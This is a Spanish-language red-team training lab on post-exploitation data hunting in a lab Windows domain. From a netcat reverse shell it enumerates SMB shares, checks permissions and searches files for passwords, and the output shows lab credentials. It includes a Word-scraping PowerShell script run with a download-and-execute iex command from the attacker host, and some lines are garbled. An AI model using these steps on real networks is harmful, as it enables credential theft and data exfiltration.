



LABORATORIO 6.1: Searching data on user machines

TEMA: Searching for the crown jewels

Objetivos:

- Obtener archivos relevantes en todo el dominio con un host previamente comprometido
- En el host, se logro escalamiento de privilegios local y se tioene una session establecida con netcad.

Descripción / Escenario:

Una estación de trabajo que pertenece al Dominio ACME.HACK se encuentra comprometida y se desea comenzar a extraer datos (diagramas de red, archivos con contraseñas, datos personales como nombres, documento de identidad, números privados telefónicos, cargo en la empresa, anexos, etc)

El dispositivo comprometido tiene como sistema operativo Windows 10 Pro (Build 19xx)

Recursos necesarios:

Máquina Virtual atacante: Kali con shell reversa a Windows 10 Pro (Build 19xx).

Máquina Virtual objetivo: Toda la subred o subredes adyacentes.

Procedimiento:

Paso 1:

En el atacante abrir el puerto 443 con netcat para establecer una sesion:

#netcat -lvp 443

Una vez obtenido la shell, usar el comando:

c:>powershell.exe

Se obtendra:

PS c:>

Con la consola de powershell ejecutar los siguientes comandos:

get-WmiObject -class Win32_Share -computer <target>
Ejemplo:

get-WmiObject -class Win32_Share -computer W2K12-ACME-AD2-SQL get-WmiObject -class Win32_Share -computer W2K16-ACME-AD1





```
W2K12-ACME-AD2-SQL
                                           Path
                                                                                                                                   Description
Name
ADMIN$
                                            C:\Windows
                                                                                                                                   Remote A...
                                           C:\
C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2 - 1 user
                                                                                                                                   Default ...
C$
C$

compartido-w2k12-server2 - 1 user

compartido-w2k12-server2 - 1 user

compartido-w2k12-server2 - lectura)

C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2 - lectura)

compartido-w2k12-server2

C:\Users\administrator.ACME\Desktop\compartido-w2k12-server2
                                                                                                                                   Remote IPC
NETLOGON
                                           C:\Windows\SYSVOL\sysvol\acme.hack\SCRIPTS
                                                                                                                                   Logon se...
SYSVOL
                                           C:\Windows\SYSVOL\sysvol
                                                                                                                                   Logon se...
Users
                                           C:\Users
PS C:\Windows\system32> net view \\W2K12-ACME-AD2-SQL Shared resources at \\W2K12-ACME-AD2-SQL
Share name
compartido-w2k12-server2
 compartido-w2k12-server2 - 1 user
                                             Disk
 compartido-w2k12-server2 - lectura)
                                             Disk
                                             Disk
NETLOGON
                                                               Logon server share
SYSVOL
                                                               Logon server share
Users
The command completed successfully.
 PS C:\Windows\system32>
```

Figura 2. Enumeramos remotamente las carpetas compartidas

Paso 2:

Validamos permisos sobre la carpeta compartidas, teniendo en cuenta que no contamos con credenciales. Las carpetas a explorar seran con valor Acess = "Everyone Allow"

```
PS C:\Windows\system32> Get-Acl \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop\shared1-alexis
   Directory: \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop
               Owner
                                      Access
shared1-alexis BUILTIN\Administrators S-1-5-21-2561545344-549731921-2162222660-1106 Allow FullControl...
PS C:\Windows\system32> Get-Acl \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop\shared2-R
   Directory: \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop
Path
          Owner
                                 Access
shared2-R BUILTIN\Administrators Everyone Allow ReadAndExecute, Synchronize...
PS C:\Windows\system32> Get-Acl \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop\shared3
   Directory: \\W2K12-ACME-AD2-SQL\Users\administrator.ACME\Desktop
Path
       Owner
                               Access
shared3 BUILTIN\Administrators Everyone Allow FullControl...
```

Figura 3. Validamos los permisos sobre las carpetas compartidas

Paso 3:

Luego de validar el permisos sobre las carpetas, realizamos una busqueda de archivos -



txt, .doc, .docx, .xsl , xsls etc

Get-ChildItem "\\< folder comportido>" -Include *.doc, *.docx, *.xls, *.xlsx *.txt - Recurse -ErrorAction Ignore -Force

Ejemplo:

Get-ChildItem "\\w10o-acme\file" -Include *.doc, *.docx, *.xls, *.xlsx -Recurse - ErrorAction Ignore -Force

Figura 4. Contraseña descubierta para el usuario test.

Paso 4:

Después de localizar archivos compartidos, parseamos los datos para localizar data sensible, para esta caso usaremos las palabras claves "pass" y "admin"

Cot Childtom "Nanambro bosta acarnota»" Pocurso Includo *anambro do

Get-ChildItem "\\<nombre host>\<carpeta>" -Recurse -Include *<nombre de archivo>*.txt | Select-String -Pattern <palabra clave>
Eiemplo:

Get-ChildItem "\\W2K16-ACME-AD1\relation\" -Recurse -Include *admin*.txt | Select-String -Pattern admin

```
PS C:\Users\\uis> Get-ChildItem "\\w2K16-ACME-AD1\relation\" -Recurse -Include *admin*.txt | Select-String -Pattern admin \\w2K16-ACME-AD1\relation\usersad\hidden\relacion_administrador.txt.txt:2:administrator:Acme#321* \\w2K16-ACME-AD1\relation\usersad\hidden\relacion_administrador.txt.txt:3:admin:Admin567_2017

PS C:\Users\luis> _
```

Figura 5. Localizamos el archivo y el contenido, con la palabra clave.

Para el caso de archivos en Word y Excel, podemos usar el "com interface" por ejemplo para word: Word.application, aca un ejemplo del script a ejecutar:

```
Remove-Item claves.txt,docs.txt 2>$null
Get-ChildItem "\w10o-acme\file" -Include *.doc, *.docx -Recurse -ErrorAction
Ignore -Force | % {$_.FullName} >> docs.txt
foreach ($line in Get-Content docs.txt){
   $Word = New-Object -ComObject Word.Application
   $Document = $Word.Documents.Open("$line")
   $Document.Paragraphs | ForEach-Object {
   $_.Range.Text >> claves.txt
```





}
cat claves.txt | Select-String -Pattern pass
\$Word.Quit()

*En la consola del atacante

Grabamos el archivo con el nombre "script.ps1" en la ruta /var/www/html/. Habilitamos el servicio apache con:

#service apache2 start

*En la consola de la víctima

luego en el host comprometido ejecutamos en la consola de powershell el siguiente comando:

PS C:>iex(New-Object Net.WebClient).DownloadString('http://<ip atacante/script.ps1')

Comentarios:





RED TEAM : BREAKING SECURITY FOR REAL